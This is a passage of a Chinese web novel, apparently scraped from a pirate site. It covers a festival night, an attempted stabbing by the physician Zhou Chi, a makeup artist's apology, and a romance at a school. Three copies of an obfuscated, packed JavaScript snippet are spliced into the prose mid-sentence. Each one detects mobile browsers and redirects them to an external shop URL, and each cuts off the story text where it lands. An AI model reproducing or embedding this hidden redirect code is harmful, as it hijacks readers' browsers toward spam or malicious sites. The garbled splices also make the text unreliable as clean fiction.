偏偏沈望舒还要夜夜入他的梦来,在她那辆华贵的马车上与他嬉笑打闹,还要用酥白的手臂揽着他的脖颈,用海棠一般红颜柔软的唇来亲吻自己的面颊,又逗弄似的捏一捏自己的耳朵、掐一掐自己的胳膊,这才像只鹿一样跳出他的怀抱,带着笑、环抱着手臂、不远不近地看着他。 陆晏时像个傻子一样想动不敢动,连在梦里都不敢僭越半步,只由着那姑娘折磨自己。 但这些事情他一个字都不敢将给沈望舒听。 他只能没头没脑地说一句:“里头我呆不习惯,便出来透透气。” 沈望舒今日确实有些放飞,心底的情绪怎么收都收不住,一听到陆晏时说这话,竟然还要开口去逗他道:“那我们一起溜走吧??” 陆晏时哪想得到还有这样的好事,当下眼睛一亮,像什么得了宝物的孩子似的问她:“当真?” 沈望舒没瞧见他脸上的表情。 她脑子里正想到自己要是就这么走回包厢里的话,就不得不与虞妙瑛虚与委蛇,觉得有些烦闷,闷声道:“骗你做什么,我瞧见虞妙瑛就烦的慌,半点不想再回去了。” 话是这样说,但沈望舒却是知道,陆晏时是不会就这样离开的。 他有天赋,努力上进的同时也懂得顾大局,哪怕在日后知道了自己的皇子身份,也会尽力把自己该做的、能做的事情做到最好,更能为了成事而隐忍,显然是个做皇帝的好苗子,否则后面也不会为了稳定朝堂而纳虞妙瑛为妃了——这本小说写的烂归烂,但角色的人设逻辑好歹还是正常的。 所以在今日,在这一刻,陆晏时是绝对不可能抛下那一屋子的权贵,和沈望舒偷偷离开的。 却不想陆晏时连想都不想就回道:“那我去与赵大人打一声招呼便走,你且这里稍等我片刻,好吗?” 他说话的声音很低,吐出口的每一个字都好似融化在盒子里的糖果,黏黏腻腻地糊在了一起,却叫人听得心底发胀,蜜糖一样的语调叫沈望舒简直有些飘飘然了。 她今日被太多的情绪裹挟,又醉过一回酒,难得想要不管不顾地放纵上一回,权当奖励自己这些日子以来战战兢兢、殚精竭虑的艰苦,所以即便她有些意外陆晏时的反应,却也立刻笑着应了,看陆晏时要离去时又想起什么似的叫住他,道:“你要不顺便把柳姑娘也叫出来,我们三个人一起走吧,我瞧着她在里头呆着也不自在呢。” 又是柳半夏! 陆晏时嫉妒的简直想要开口去问沈望舒,那个柳姑娘到底给她灌了什么迷魂的汤药,是不是在送给她吃的药丸里加了什么摄人心魄的药材,才会叫沈望舒不论何时何地都要想起她来? 但他到底还理智尚存,即使心里头再不情愿也只能对她点了点头,踏着昏暗的光匆匆离去了。 沈望舒方才下被冷风吹下去的酒劲又犯了上来,她毫无形象地坐在走廊的栏杆上,看着枝头上尚未来得及凋零,在寒风中摇曳的枯叶,望向枝头上皎洁的月,毫无预兆地冲沈妄姝说:“我好像不怎么想家了。” 说罢她又吃吃地低声笑了起来:“哦,原来是因为我在哪儿都没有家!” 沈妄姝想跟她说些什么来安慰她,可嘴巴张了张,却又什么都说不出来,沈望舒倒也不介意这些,还要哼哼唧唧地唱起不知名的歌来,一直到陆晏时匆匆忙忙的回来,她才又扯出个笑,正要招呼他们一起回去,却发现柳半夏并没有一起跟来。 她向陆晏时身后张望了一下,狐疑道:“柳姑娘呢?” 陆晏时根本连问都没问柳半夏。 他难得能有机会与沈望舒独处,又如何愿意再横插一个人进来破坏这样好的时光?但他还要面不改色地扯谎道:“赵夫人正拉着她说话,一时半会走不开,我不想你久等便下来了。” 沈望舒又如何能想到他会为了这样的事情说谎,自然是陆晏时说什么她信什么,和他一起慢悠悠地走出了醉仙楼的大门,坐上马车离开了。 陆晏时才在车上坐下,就不自觉地想起前一日自己那一场有关于这辆马车的、不可言说又下流的梦,叫他慌乱的几乎无地自容,手上却还要手忙脚乱地去给沈望舒倒解酒的茶水,让他整个人被现实与梦境来回撕扯,也不知究竟是幸还是不幸。 但他到底不愿意就这么简简单单地回府去,开口去邀沈望舒道:“沈姑娘要不要去集市看一看?” 沈望舒果真眼睛一亮:“今日还有集市吗?” 陆晏时觉得她实在娇俏又可爱,面上的笑意是止都止不住,连连点头道:“有的。” 眼见时间还早,沈望舒此时又情绪十分高涨,欣然同意了。 虽然今年是个百年一遇的寒冬,又遇到时疫这样的倒霉事,却也因为以沈望舒为首的富豪们及时慷慨解囊、陆晏时为首的书生们及时救灾,使得一场灾祸的损失降到了最低,甚至还有余钱补贴给这些房屋被压垮了的流民们,因而这一个年过得并不会比往年来得要冷清。 那集市占用了杭州城内最大的一条街道,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062712|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西向东地挤满了吆喝的摊贩,高悬的彩灯将这一片街区照的比白日还要亮堂,远处似乎还有戏班子在唱戏,咿咿呀呀的歌声随着风远远地飘进沈望舒的耳朵里,却也不知正在唱些什么。 “怎么这样多的人?”沈望舒有些意外,转过头去问身旁的陆晏时。 陆晏时怕她走散了,身子几乎和她贴在一起,听见沈望舒问话,便低下头去,在她的耳边道:“再往前就是八仙寺了,许多人都要等着去上新年的头香,以求来年风调雨顺、万事顺意。” 沈望舒活到现在这个年纪,几乎每一日都在为生计而奔波劳苦,她从未看过一场电影、没去过一次游乐场,更没有逛过什么集市,如今突然闲了下来、被带到这个集市上来,她竟有些异样的兴奋,甚至要一个摊子一个摊子地逛过去,看见什么都觉得新奇,瞧见什么都觉得有趣。 陆晏时跟在她身后,但凡她看上什么东西,他便十分干脆地掏出钱来要买,沈望舒哪儿能叫他花钱,赶忙制止了他,陆晏时却道:“我近来赚了一些,这些东西都不值什么钱,比起姑娘给我的东西简直不值一提,你又何必客气?” 沈望舒拗不过他,便也就随他去了。 陆晏时却想,日后他一定赚上许多的钱,将这世上所有的好东西都买下来送她,即便她不喜欢、拿去丢进水里听一个响,那也算是这些钱花的值当了。 他喜欢为她花钱,也喜欢看她花自己的钱。 此时子时的钟声刚刚敲响,天上突然“砰”!地一声,炸开一朵又一朵绚丽的烟花,炫目的光彩汹涌地冲向沈望舒的身上,在她的脸上投下明明灭灭的光彩,她的耳朵与鼻尖在这寒冬的夜里冻通红,却叫她的面庞看上去像是四月里最明媚的春光,从她唇齿间喝出的一片又一片的白汽,好似云一样轻飘飘地落尽陆晏时的心里,迅速地在他的心上生了根发了芽,叫陆晏时欢喜的想要笑出声来。 “陆晏时!”沈望舒大声喊了他的名字,在明暗交织的光里,扯出一个灿烂的笑来,“新年快乐!” 那一刻陆晏时只觉得,漫天的烟火与花灯,都不及她的半分色彩,他甚至能在这一片惊雷一样的烟花声中、喧闹的人声之中,听到自己犹如鼓点一般的心跳声。 “嗯,”陆晏时低着头看她,弯着他好看的眉眼、勾着那一张薄唇,笑着对沈望舒道,“新年快乐,沈望舒。” 沈望舒心情大好,看过了烟花之后,又回过头去想要挑个小玩意买给陆晏时玩,却听见沉默了许久的沈妄姝猝不及防地、酸溜溜地开口说:“我觉得陆晏时喜欢的人不是我大哥。” “啊?”沈望舒被她突如其来的一句话说得有些茫然,晃了晃神之后才问她,“什么意思?不是你大哥还能是谁?” “哼,”沈妄姝难得比她聪明一回,却又觉得自己前两世求而不得的陆晏时这样轻易的就对沈望舒交付真心,心里顿时百感交集,又瞧见沈望舒那一副死活不开窍的模样,更是气不打一处来,“我不告诉你!大傻逼!” 42.第四十二章 集市的喧闹一直持续到了丑时才渐渐散去,沈望舒到底没跟陆晏时去凑那一个去上头香的热闹,在玩够本了之后就坐上车回府去了。 到了这时候,她那点酒劲终于全部消了,正坐在马车上折磨方才大骂她傻逼的沈妄姝:“你刚刚为什么骂我?谁准你骂我了?你上哪儿学的脏话?” “我跟你学的,你天天在心里骂我傻逼,怎么就不准我骂了?”沈妄姝得意忘形,恨不得叉起腰来讲话,“嘴长在我脸上,我想骂就骂,哼!” 沈望舒被她一句话骂得莫名其妙,却也没有和沈妄姝置气,反而还好声好气地问她:“那你刚刚说的话是什么意思?什么叫陆晏时不喜欢你大哥?” 沈妄姝偏偏不告诉她。 她眼巴巴地望了陆晏时两辈子,看了陆晏时跟柳半夏你侬我侬了两辈子,陆晏时喜欢一个人时会有什么样的表情、什么样的眼神,她比谁都清楚。 近些日子陆晏时在沈望舒面前表现出来的模样,他看向沈望舒时面上那止也止不住的笑意,只有沈望舒这个没有跟别人谈过情、说过爱的傻子才看不出来,还信誓旦旦地说什么陆晏时喜欢自己大哥,真是傻的。 沈妄姝毕竟痴恋陆晏时多年,哪怕这些日子被沈望舒耳提面命的骂得断了念想,可如今瞧见自己肖想多年的陆晏时就这样简单地对她交付了真心,心里自然觉得酸楚,更不想轻易看见沈望舒好过,断然不肯轻易点破陆晏时的心思,好叫她俩轻易地心意相通了去,哼哼唧唧地说:“我不告诉你,你自己猜去。” 她至少要看见沈望舒挣扎,像自己一样为爱所困,她才会觉得解气、觉得心里痛快。 反正她本来也就是个恶毒女配,是个嚣张跋扈的大小姐,做这些事情又有什么错? 沈望舒眉头一皱:“你什么时候也学坏了。” “我是你老板,”沈妄姝得意洋洋,“我想怎么样就怎么样。” 她那副许久不见的不可一世大小姐作派又跑了出来,叫沈望舒莫名有些好笑:“行,您了不起。” 今日是除夕夜,沈府的家丁也有不少得了假期去和家人团聚的,平日里热热闹闹的大院今日一下子静了许多,便是在门口站岗的侍卫也难得有些松懈,多少有些昏昏欲睡了。 沈望舒下了马车,正要和陆晏时进府去,却远远地瞥见不远处的墙根下正窝着个人。 那人从头到尾裹着件深色的衣裳,为了保暖又戴了顶狗皮帽在脑袋上,整个人蜷缩在沈府红色的灯笼下瑟瑟发抖,与那满墙喜庆的贴纸、地上炸完的红色炮仗皮格格不入,仿佛再来一阵寒风,就要把他吹走了一般。 沈望舒顺口问了来接下车自己的侍卫:“那是谁?” 侍卫顺着沈望舒的方向看了过去,也瞧见了缩在墙根下的那个人,“嗐”了一声之后回道:“是个乞丐,方才沿街讨饭讨过来,许是累了,就坐那睡了。” “小姐若是嫌碍眼,小的这就把他赶走去。” 沈望舒却摇头道:“谁要你赶人了?” 她又往那乞丐身上看了一眼,从自己的荷包里翻出几粒碎银子来递给了那侍卫,道:“你拿去给他吧,大过年的,叫他吃顿热乎的去。” 侍卫应了声“是”,抱着那碎银子就匆匆往乞丐跟前走去,那乞丐在睡梦之中被人吵醒,似乎还带着些脾气,一见侍卫给自己银子,立刻从地上跳了起来,点头哈腰地将那些银子接了过来,又冲那侍卫说了几句什么,就见侍卫点了点头,带着那乞丐往沈望舒这边来了。 “小姐”侍卫恭敬道,“这人说要亲自来谢您。” 沈望舒不甚在意地摆了摆手:“不必,你早些去吃些什么便是。” 那乞丐佝偻着身子,一身衣裳又破又臭,黑漆漆的污渍浸满了他的下摆,一顶斗大的帽子盖在他的头上,几乎遮住了他大半张的脸,在黑夜中叫人看得并不真切,他沙哑着嗓子,一边冲沈望舒鞠躬一边道:“多谢姑娘,多谢姑娘!” 他的声音好似含着沙一般干涸又嘶哑,却让沈望舒听着莫名的耳熟,她还未想到自己是不是曾经在那里听到过这个声音时,却见眼前寒光一闪,那乞丐竟不知从哪里掏出一把匕首来,正正向沈望舒刺来! 沈望舒的侍卫哪里又反应得过来?! 却是一直站在沈望舒身后的陆晏时眼疾手快,拽着沈望舒往后退了几步,又于瞬间闪身挡在她的身前,那一柄匕首竟直直扎进陆晏时的胳膊上! 霎时间血流如注! 沈望舒惊叫出声,沈府的侍卫扑了上来,七手八脚地将那乞丐按在地上,卸了他的武器又扒了他的帽子,拿灯笼一照,这才看清了他的容貌——虽然他的脸上东一片西一片地抹了灰泥,可依旧叫人认了出来,那哪是什么乞丐?分明是回春堂的周迟! 周迟被压制在地上,嘴上还不断地冲沈望舒骂骂咧咧,沈望舒却连看他都不看,更顾不上脑子里尖叫的沈妄姝,只花容失色地喊侍女去拿药箱来,手忙脚乱地去给陆晏时的胳膊止血。她做这事做的不熟练,一双羊脂玉似的手浸满了鲜红的血,张皇失措地拿绷带去缠陆晏时的伤口,看着那血顺着陆晏时的胳膊一滴滴地淌到地上,叫她不自觉的红了眼眶。 “你干嘛这样!”沈望舒似乎有些生气,红着眼剜了陆晏时一眼,怒道,“谁让你这样救我了!?” 可她看向陆晏时的眼神,说话时带着哭腔的鼻音,都叫这一幕看起来十成十的娇俏,又哪里瞧着像在发脾气?陆晏时连心都要化成一潭春水,只觉得这姑娘可爱——笑也可爱、哭也可爱,如今这样发脾气的模样,也十分可爱,可爱得他恨不得将沈望舒抱进自己的怀里哄一哄才好。 “我没事,”陆晏时柔声说,那语气不知道的还以为他是在哄什么三五岁的孩童,“不痛的,姑娘莫要哭了。” 他其实想说有沈姑娘这样为他担心、为他落泪,他陆晏时就是死也甘愿了,只是这些话实在太过于失礼与唐突,他终究还是没说出口。 “谁哭了?”沈望舒瞪了他一眼,将他的胳膊包扎好了,泄愤一样将手上的血往陆晏时另一个干净的袖子上抹了,恨恨道,“我才没哭。” 陆晏时只觉得她可爱极了。 不远处的周迟还在用不堪入目的词句骂着人,沈望舒堪堪处理完陆晏时的伤口,终于有空去看他一眼,冲侍卫道:“你们就这么由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079941|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他骂我?长着手干什么的?!” 侍卫心领神会,当即左右开工扇了周迟两个巴掌,扇得周迟顿时眼冒金星,连话都说不出来半句了。 沈望舒皱着眉,怒气冲冲地冲周迟骂道:“你发的什么疯?!” 周迟却怒目相向:“你害我走投无路,你还好意思问我发的什么疯?!” “周大夫心术不正,自己想着要害人,”沈望舒冷笑一声,“怎么有脸怪别人报复你?” “怎么?你不会以为你联合外人诬陷你师妹、撺掇别人到我医馆闹事,还有偷偷往五指毛桃里掺断肠草的事情,都做的神不知鬼不觉吧?” 周迟面色一变,却又嘴硬道:“没有证据,你不要血口喷人!” “回春堂的药童看见你偷拿断肠草出门,”陆晏时睨了地上那人一眼,不咸不淡地开口道,“两次谋杀未遂,足够叫周大夫流放的了。” “周迟啊周迟,说你没用却没想到你竟然这般没用,我不过才针对你个把月,你竟然就这样坚持不住了?比我想象得快多了,”沈望舒蹲下身来,叫自己平视着周迟,说话的语气却是十成十的戏谑,“你若是早些来找我,跪在我面前求一求我,指不定本小姐心情一好,就饶了你和回春堂一马呢?” “原本回春堂还能再撑个一年半载的,叫你这样一闹,明日就要关门大吉了,”说罢沈望舒又笑了笑,故作天真地对周迟道,“哦,你说我把回春堂买下来,送给你师妹玩好不好呀?” “贱人!”周迟被羞辱的满面通红,当即就要暴起去咬沈望舒,陆晏时慌忙蹲下身来将沈望舒护在怀里,生怕她再受半点伤害。 好在几个侍卫此时不敢松懈,死死地将周迟按在地上,并未叫他挣脱半步,沈望舒从陆晏时怀里探出个脑袋来,冲侍卫道:“送到官府去,叫赵知府好生招待招待这位周大夫。” 她又冲另一个侍卫说:“你把这事情去告诉大少爷,叫他想想法子,去把柳姑娘的卖身契拿回来。” 陆晏时听她左一个柳姑娘、右一个柳姑娘的实在心烦,当即皱起眉头来闷哼了一声,沈望舒果然大惊失色,也顾不得自己还叫陆晏时揽在怀里了,忙去问他:“怎么了?疼了?” 他们二人的衣摆层层叠叠地在地上散落又交叠,暖色的烛光将他们二人的影子拉得又细又长,影影绰绰地交缠在一起,好似一对交缠的爱侣,只要他稍微低一低头,就能亲吻到他肖想许久的、沈姑娘如花一样千娇百媚的面颊。 陆晏时终于满意了。 这一场闹剧终于结束,沈望舒交代了侍卫去给陆晏时请个大夫来看伤之后,终于想起来要害羞似的逃之夭夭,陆晏时看着她风一样离去的背影,直到那姑娘消失在了浓重的夜色中,这才舍得回自己住的院子。 不想他才推开自己的房门,却发现屋里不知何时坐了一个人。 他的屋里没有点灯,那人穿着一身黑衣,几乎要隐藏在夜色之中,陆晏时推开门时,银色的月光随着他一道撒进屋里,才叫这人露出一点身影来。 陆晏时尚未来得及做任何反应,便听那黑衣人先开了口。 他问:“你就是陆晏时?” 43.第四十三章 过了春节之后,气温终于开始渐渐往上攀升,不再像过去那一个月般冷得刺骨,逐渐变成寻常江南冬日时节该有的模样,更不再下那骇人的大雪了。 才到正月初五,华章书院就已经开了课,沈望舒这几日也休息够了,卯足了精神要去上课。 她今日起了一个大早,换了一身烟粉色的夹袄,简单输了个发髻,除了一支金钗外再不戴其他配饰,正坐在桌前要吃早饭,就瞧见小菜中间放着一盘做得十分精致的红豆桂花糕,雪白的糕点上头浇了层晶莹剔透的桂花蜜,正散发着诱人的光泽,和前几日杜姨娘送过来的那一小碟点心长得一模一样。 沈望舒抬头问侍女:“杜姨娘来过?” “嗳,”侍女应了一声,“半个时辰前来的,只送了这份糕点来就走了,说是惦记小姐辛苦,专程做给小姐吃的。” 杜姨娘大概是在说前几日她阻止了沈菀犯傻的事情,专程做了这糕点来示好,沈望舒有些无奈地笑了笑,和沈妄姝道:“你这姨娘也忒有意思,有话就是不愿意直说,整天弄这些弯弯绕绕的,也不闲累得慌。” 但杜姨娘的手艺又确实很好,她也就口嫌体正直地吃了。 她才将筷子放下,侯在门外的侍女突然推了门进来,道:“小姐,李三娘求见。” “啊?”沈望舒怔了怔,“李三娘是谁?” 站在她边上的侍女低声提醒:“是您生辰的时候给您化妆的那位妆娘。” “哦!她啊!”沈望舒恍然大悟,却又有些奇怪,“她来找我做什么?” 侍女自然是不知道的。 沈望舒瞧着还有些时间,便叫侍女去传李三娘进来,想看看她要弄些什么名堂。 李三娘穿一身粗花布袄子,手里抱着个不大的锦盒,一进了屋,赶忙点头哈腰地向沈望舒问了好,又忙不迭地将那锦盒送到了沈望舒身前,道:“一点心意,不是什么值钱的玩意,但都是我亲手做的,还请小姐笑纳。” 沈望舒打开那盒子看了一眼,里头整整齐齐地码着十来种样式的花钿,多数以寻常的绢纸做成,只有几个模样瞧着十分精细的,是以金箔、翠玉制作而成,花样之精巧,叫沈望舒看一眼都觉得喜欢。 但她也不急着收,反问李三娘:“无缘无故的,送我这些东西做什么?” “我过几日要上京投奔亲戚去,特此来向小姐辞行的,”李三娘坐在离沈望舒不远的椅子上,模样有些局促,“我丈夫死的早,留下个才四岁的女娃娃叫我一人拉扯,那时候实在是太缺钱了,这才着了人家的道,起了害小姐的心思……没想到小姐你大人有大量,半点不与我计较,我这些日子以来心中一直十分有愧。” 李三娘一张脸冻得红彤彤,也不知在外头冻了多久,手指上似乎生了冻疮,在温暖的屋里发起了痒,叫她忍不住在袖子下来回地挠手,断断续续地和沈望舒道:“前段日子我女儿又染了风寒,若不是有小姐开的济世堂卖低价的药,只怕她也熬不过今年的冬天,因而我更是愧疚,竟然为了几两银钱,险些害了菩萨心肠一样的姑娘,一直想找机会来向您赔罪。” 说罢她站起了身,又“扑通”一声跪在地上,正要磕头时,被沈望舒冲过来一把给拽住了:“别别别,有话说话就行,别动不动跪啊磕啊的,我不喜欢这一套。” 李三娘更是感激涕零道:“是我有眼无珠,险些害了小姐啊!” “好了,你知道错就行了,”沈望舒把她搀起来了,确定她不再跪了,这才坐回自己的座位上去问,“你上京的路费可够?” “够的够的,小姐不必费心,”李三娘听出她的言外之意,生怕她给自己递银子,是感动的眼泪都要掉下来:“姑娘日后若是有什么用的到我的地方,我一定赴汤蹈火!万死不辞!” 沈望舒其实挺开心的。 尽管她和沈星遥办这个医馆的目的并不纯粹,最初的想的完全是为了解救柳半夏这个“女主角”而去行动,从没有去考虑过一本小说里的路人们的生死,如今自己做的这些事情实际的帮到了人,而被帮助的人又这样活生生的、眼泪婆娑地在自己的面前对自己感恩戴德,她又如何能不动容呢? 只是她感动着感动着,突然又想起什么似的来问李三娘:“等进京了之后,你还要做什么营生吗?” 李三娘点了点头,回话道:“我那亲戚也在京城给人做妆娘,如今生意大好,自己一个人忙不过来,这才叫我上京去帮她,互相之间有个照应,也好多个人帮我照看女儿。” 沈望舒眼神一亮,一边说着“等一下”一边站起身来,登登登跑去自己的梳妆台前,抱了三四盒自己店里做的口红、腮红过来,往李三娘的怀里一塞,道:“这些都是我店里未售卖的新品,你拿去吧,若它们将来有机会在京城大放光彩,我心里就高兴了。” 李三娘是个聪明人,沈望舒这么轻飘飘地点上一句,她当即就明白了这大小姐的意思,二话不说就将这些胭脂水粉都收下了,又深深地向沈望舒鞠了一躬,道:“我定不会让大小姐失望的。” 沈望舒乐呵呵地又与她寒暄了几句,这才送了课,坐上了去书院的马车。 但沈妄姝被她俩这一套哑谜搞得莫名其妙,连连问她:“你这又是在做什么?送那妆娘那么多东西又是作甚?” 沈望舒解释道:“我不是打算把京城的那胭脂铺也做起来吗?那李三娘化妆技术确实高超,好产品在好化妆师手里能发挥出三倍以上的效果。” “我叫她拿这些东西去京城里用,当作一个初步的推销,再慢慢地送一些小样品去给一些时常抛头露面的名伶用,利用饥饿营销把大家胃口吊起来之后再去铺货,分分钟营销一个爆款出来。” 沈妄姝把这两段话再脑子里过了一遍,又过了一遍,最后道:“我听不懂。” 沈望舒当然没指望她能听懂,眼见书院到了,便提着书袋慢慢往里走去。 哪怕是遇了连日的雪灾,华章书院也仍旧是那一副世外桃源的模样,只是院子里的树不免有些青黄,平日里大敞的门窗也因着冷风紧闭,再在屋内燃上炭火,多少叫人有些昏昏欲睡了。 就像沈妄姝听不懂那些现代的词汇一样,沈望舒也对这些古人的酸腐诗句不甚感冒,好在她的人设本来也就是个荒唐无度的大小姐,在课堂上只要不站起来跟夫子叫板都已经是守规矩了,谁又会管她在课堂上做些什么?是以她光明正大的在书院里摸了一整天的鱼,并没有半个人来苛责她。 待到下了课,陆晏时又主动找了上来,说想和她一起回去。 如今城内的流民基本都已经被好好安置,更有不少人领了银钱要回老家去重新盖房,得了时疫的人更是已经一日日的在好转起来,官府为了叫京城来的太常寺卿夫人看看自己的本事,也不再像之前那般做事散漫敷衍,陆晏时自然不再像前些日子那般忙碌,可以回沈府好好睡觉了。 沈望舒才刚点头答应,就听见脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101126|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的沈妄姝“哼!”了一声,道:“烦人!” “你怎么了我的大小姐。”沈望舒适时关心老板的心理健康,“最近怎么三天两头都在发脾气。” 沈妄姝打死都不愿意告诉她陆晏时喜欢她的事情,一瞧见陆晏时那满脸欢喜、眼底泛光的模样又觉得心里憋闷,恨不得往沈望舒心上打几个巴掌才解气,怒气冲冲道:“我乐意生气就生气,管得着吗你!” 沈望舒想了想,她还真管不着。 她想起再陆晏时开春以后就要进京赶考,觉得二人相处的时日要越来越少了,就想开口邀他元宵时与自己家人一道吃顿饭,不想二人才走出华章书院的大门,竟然意外瞧见虞妙瑛不知为何站在书院门口张望,瞧见陆晏时出来,当即露出个笑来走上前,对陆晏时道:“陆公子,可否借一步说话?” 沈望舒愣了:“我去,她以前就这么主动的吗?” 沈妄姝也有些意外:“也没这么主动……” 陆晏时自然不肯和她单独相处,更别提还当着沈望舒的面了,当即作了个揖道:“姑娘有什么话就在这里说吧。” 虞妙瑛却不受挫,她本就生得明眸皓齿,即便比不得沈望舒那般沉鱼落雁,却饱读诗书、气质如兰,又有傲人的家世,自打懂事起就是京城贵女的各种典范,他陆晏时区区一个穷书生,但凡有那么一点脑子,就应该知道她虞妙瑛是多么了不得的一根枝头,比那无脑又粗鲁的沈望舒好不知道多少!如今既然她都已经屈尊降贵地示了好,又有谁会去拒绝她? “倒也不是什么大事,只是路过此处,想起陆公子在这书院里读书,便来看一看是什么样的书院,才能教出陆公子这样的人才。”她弯着嘴角,朗声笑道,“劳烦陆公子陪我逛一逛吧。” 这下轮到沈望舒觉得烦人了。 她原本就不怎么喜欢虞妙瑛这个人物,被她针对过之后更是觉得看见她就闹心,现在看见她明晃晃地跑来冲陆晏时献殷勤也闹心,再一想到这人到后面还得进宫给陆晏时做妃子,更是觉得烦躁,当即二话不说拔腿就走,只想着眼不见为净,连看都不想多看陆晏时一眼。 陆晏时心里却还记得当日在马车上,沈望舒当着自己的面说过她不喜欢这个虞姑娘的话,满脑子都想着要如何尽快脱身、千万别惹沈望舒不高兴,人虽然杵在虞妙瑛的跟前,却根本没听清楚虞妙瑛在说些什么,他又瞧见沈望舒怒气冲冲地甩手就走,当下心里一片慌乱,是想都不想就拔腿追着沈望舒就跑了出去,半个多余的眼光都没留给虞妙瑛。 “沈姑娘,且等一等我!” 沈望舒有些意外,回过头去看了看面色不善的虞妙瑛,又看了看满面急色、匆匆追来的陆晏时,方才心里那些烦躁莫名地烟消云散了。 她恃宠而骄,分明心里头欢喜,面上却还要装出一副不乐意的模样,皱起眉问:“你怎么来了?” “方才姑娘好像有话要对我说,”陆晏时低下头去看她,“我不想错过姑娘说的话,便追上来了。” 他的眼睛本就生的好看,眼尾微微向上翘去,天生有种睥睨人间的疏离感,就这样垂着眸子望向沈望舒的时候,眼底似乎藏着烟波蓝一般的海,深邃又温柔,几乎要将人溺死了。 沈望舒被他看得一颗心怦怦直跳,心里下意识喃喃道:“……他其实挺可爱的。” “废话!”沈妄姝恨她到现在才发现陆晏时的好,咬着牙道,“那可是我前夫哥!能不可爱吗!?” 44.第四十四章 待到二人一前一后地钻上马车里,沈望舒这才问了句:“你胳膊上的伤可都好了?” 周迟那日是抱着要杀了沈望舒的心刺的这一刀,虽然侥幸未伤及筋骨,却也留下了不小的伤口,在那日如此昏暗的烛火之下,沈望舒都可以清楚地瞧见那一块皮肉翻起、鲜血淋漓的模样,虽然她当时就给陆晏时处理了伤口,又请了大夫过来给他看过,可一想起那触目惊心的伤口,她仍旧免不得要操心。 陆晏时的伤口才结了痂,正在长出新的皮肉,每日里又痒又痛,可他却绝口不提,只抿着嘴笑了笑,点头道:“不碍事的,已经不痛了。” “真的?”沈望舒半信半疑,“有什么不舒服的你跟我说,或者直接去找柳姑娘都行,别一个人忍着,知道吗?” 她这样的关心对陆晏时来说十分受用,甚至叫他心底都有些飘飘然,十分乖巧地回了一句:“知道了,有事我会向姑娘说的。” 沈望舒这才满意了,拿了些果脯蜜饯招呼他吃,陆晏时对她给的东西来者不拒,即便不喜欢吃,也要鬼使神差地伸出手去拿上一个含进嘴里——他早就知道自己在沈望舒跟前没有半点气节,干脆就这么放弃抵抗、随心而为了。 “我这几日忙,倒把周迟给忘了,”沈望舒看着他伤着的那条胳膊,才想起如今大牢里还关着个柳半夏的师兄,自言自语似的道,“也不知他如今怎么样了。” 说来倒也好笑,原本周迟的结局倒也没有这么惨,只是被赶出了回春堂,又辗转到外省去了,后面再也没有出现过,哪能想到他发起疯来这样不管不顾,如今是半点翻身的可能都没有了。 “总归不会叫他有什么好果子吃,姑娘用不着操心,”陆晏时将那一颗又酸又甜的果脯咽了,轻声说,“沈公子前些日子去瞧过一回,险些在牢里把周迟给打了。” 被宠的像个宝贝似的妹妹险些叫周迟给伤了,自己的好兄弟陆晏时又挨了一刀,照沈星遥那脾气,也确实是个会冲进牢里打人的,陆晏时倒不觉得他有错,还觉得他被狱卒拦住了十分可惜——周迟罪无可恕,又胆敢伤害沈望舒,多挨顿打是应该的,只可惜自己当时不在场,否则他说什么也要替沈星遥拦着几个狱卒,叫沈星遥至少踹那王八蛋一脚才好。 沈望舒多少猜到沈星遥会闹一通,倒也不觉得意外,只觉得有些好笑,又想起什么似的从柜子里掏出个东西来递给陆晏时,陆晏时下意识接了,拿在手里一看,竟是一盒徽墨,磨条上以金箔印了繁复又精细的竹纹,一瞧就是上好的物什。 陆晏时倒也不诧异这姑娘随手能拿出这样好的东西,只是奇怪她为何无缘无故给自己这个,狐疑道:“为何给我?” “你我母子一场,”沈望舒坏笑了一声,“送你个新年礼物也是应该的。” 除夕那日陆晏时跟在她身后付了一路的钱,虽然总价不多,但沈望舒那日玩得高兴,便选了个合适的回礼送他,只是嘴上不饶人,还得再调侃人家几句才算满意。 她不提,陆晏时都要忘了曾经被沈望舒戏称为好大儿的日子,莫名有些想笑,又听得沈望舒接了句:“再过些时日你便要上京赶考,就当我提前送你的践行礼,预祝公子高中,从此前程似锦、扶摇直上九万里。” 沈望舒想,待到陆晏时离开江南之后,他就会开始参与躲嫡、疲于朝堂争斗,届时他还哪里有时间来顾及她这个远在江南的旧友?哪怕她将来会为了自己的铺子上京一趟,但那时候一个是皇子、是将来的皇帝,另一个是市井商人,总归是不再会有太多的交集了。 